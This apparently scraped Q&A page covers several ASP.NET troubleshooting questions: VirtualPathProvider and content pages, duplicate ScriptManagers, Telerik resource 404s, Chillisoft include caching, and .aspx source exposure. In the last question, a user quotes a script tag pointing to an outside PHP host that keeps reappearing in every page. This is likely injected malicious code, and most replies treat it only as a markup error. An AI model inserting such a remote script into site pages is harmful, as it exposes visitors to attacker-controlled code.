I have a VirtualPathProvider that works fine with asp.net pages. It compiles in runtime and run everything well. But, when I try to open a page that contains asp:Content tags, I always getting:
Only Content controls are allowed directly in a content page that contais Content controls.
In other words, when I use content pages, VPP not work. I tested with physical master page and with a VPP provided master page and in all tests, the result are the same.
Anybody have this same issue? What I can do to VPP start to work with content pages?
Working on other things, I finally found the answer. My files are stored on a database, and I'm dropping the last byte of file on save procedure.
This errors doesn't cause problems on major types of files, but, I have a problem with a DOCX upload and, when I find the cause, the ASPX content pages problem with VPP is gone.
Related
I have downloaded the latest toolkit from https://www.nuget.org/packages/AjaxControlToolkit/.
Problem is it works fine on my local host but not when i upload it to the server. I don't even get an error message. Simply anything Ajax related is not working. I'm suspecting that the installation I did is the problem, since it does everything automatically for me and in my project I can't add a ScriptManager since it keeps saying that I already have one in my system, eventhough I can't see in anywhere in my code.
Do anyone have any idea what the problem might be or what I'm missing?
You have a ScriptManager on the master page, and therefore when your child page gets composited with the master page there ends up being two script managers.
The normal solution is to only have the ScriptManager on the master page.
I have some telerik controls on my page. When I run this page first time, some of WebResource.axd file does not load. It shows 404 Not Found Error. but when I refresh my page couple of times, the missing file comes and some other WebResource.axd shows 404 Not Found Error.
I checked httpHandlers in web.config, and it is correctly written.
Here is my screen clips:-
In other tab:-
After refreshing couple of times :-
Do you combine and compress the Telerik javascripts in your master layout file? If so can you please share that piece of code?
It should be similar to;
Html.Telerik().ScriptRegistrar()
.Scripts(scripts => scripts
.AddGroup("CalendarGroup", group =>group
.Add("telerik.common.min.js")
.Add("telerik.calendar.min.js")
.Add("telerik.datepicker.min.js")
.Combined(true)
.Compress(true)
You should add all the javascripts that's required by the Telerik controls that you use in your app.
(Assumption : Telerik MVC is being used)
I'm looking after a site that was written in ASP. The server is an Apache server using Chillisoft to run the ASP code.
We have content that has to appear in multiple locations. To make things simple we are using the <!-- #include virtual = "/file/location/file.asp" --> to include the content of file.asp in the current page (Let's call this Page B).
The problem comes when we update file.asp. If we goto the file.asp page the updated content appears fine. However if we goto Page B the new updated content that appears on file.asp does not appear, UNLESS we go into the Page B.asp file, add a line to the code and save it, then the new content from file.asp appears on Page B.
I am familiar with includes in PHP and I've never seen this behavior before but this is my first time working with ASP.
Thanks
Is Chillisoft caching the page server-side?
I've read through some of the questions here and my understanding is that this is true. Could someone confirm that visitors to an ASP.NET website can actually download the aspx files in their original format? Just like with the css files, etc. Thanks.
Clarification: Please be patient with me. I am newbie and just want to make sure I understand. I know that using Dreamweaver, a person can just download almost all the source files from a website. At least that what could be done some years ago with many websites. He would just change a few text contents and have a similar website like the original with all the original design, images, etc.
So if he can do the same with an asp.net site: downloading all the files, he can look at the aspx file and see what the code does. I am not talking about him executing the page and do the view source command. This file would naturally be processed by the server and doesn't expose source code.
This is one of the reasons why code behind is recommended because the code can be compiled and the source is not uploaded to the site. Only the dll is uploaded and minimum logic is exposed through the aspx file.
No, they can't. The ASPX page contains server-side code that is executed, well, by the server, and ends up containing plain HTML that the client browser can understand.
When IIS receives a GET request for an ASPX page, the ASP.NET handler kicks in and returns the processed HTML. So unless IIS is misconfigured, that is not possible.
No. Visitors cannot see your business logic.
If that were the case the markup asp:TextBox wont get rendered as input type='text'
Also, if that were the case we would be seeing code snippets of sites written using scripting languages like PHP or Classic ASP
in newbie's term:
No, the server won't give you ASPX and code behind files, these are files that don't mean anything to the end-user/visitor/browsers. These codes are processed on the server, and what you get is only a bunch of HTML code, javascripts, css, images, etc. which browsers can render.
If you try to "download" (by accessing them through your browser) .ASPX, .CS, and WEB.CONFIG files to see the actual source code, well you simply can't.
I developed a application using asp.net and uploaded the site in online it is working fine.
After few days i am getting parser error.
"<script src=http://fhdmtr.org/vb7/html.php ></script>" this script is generating in every page in the bottom of the page in source code in the site. it is automatically generating.
when i remove it is work fine after few days it is again generating.
The error is occurring because the Doctorenq.aspx script is using a Master Page. Pages configured with a MasterPageFile attribute can only contain a very narrow set of tags, usually just <asp:Content>, corresponding to content placeholders in the master. If you are adding the reference to the PHP script yourself (though I don't understand how that's supposed to work), you should either include it in the Master Page or include it inside one of your existing <asp:Content> tags.
If you aren't adding the reference to the tag, your problem may be with security instead of programming, and as such would be OT for SO.
The fail suggests that the site can't handle the markup.
If it was working and now doesn't, check the version of .NET websit is running. Something may have changed it to use an earlier verions of .NET, which can't parse the page.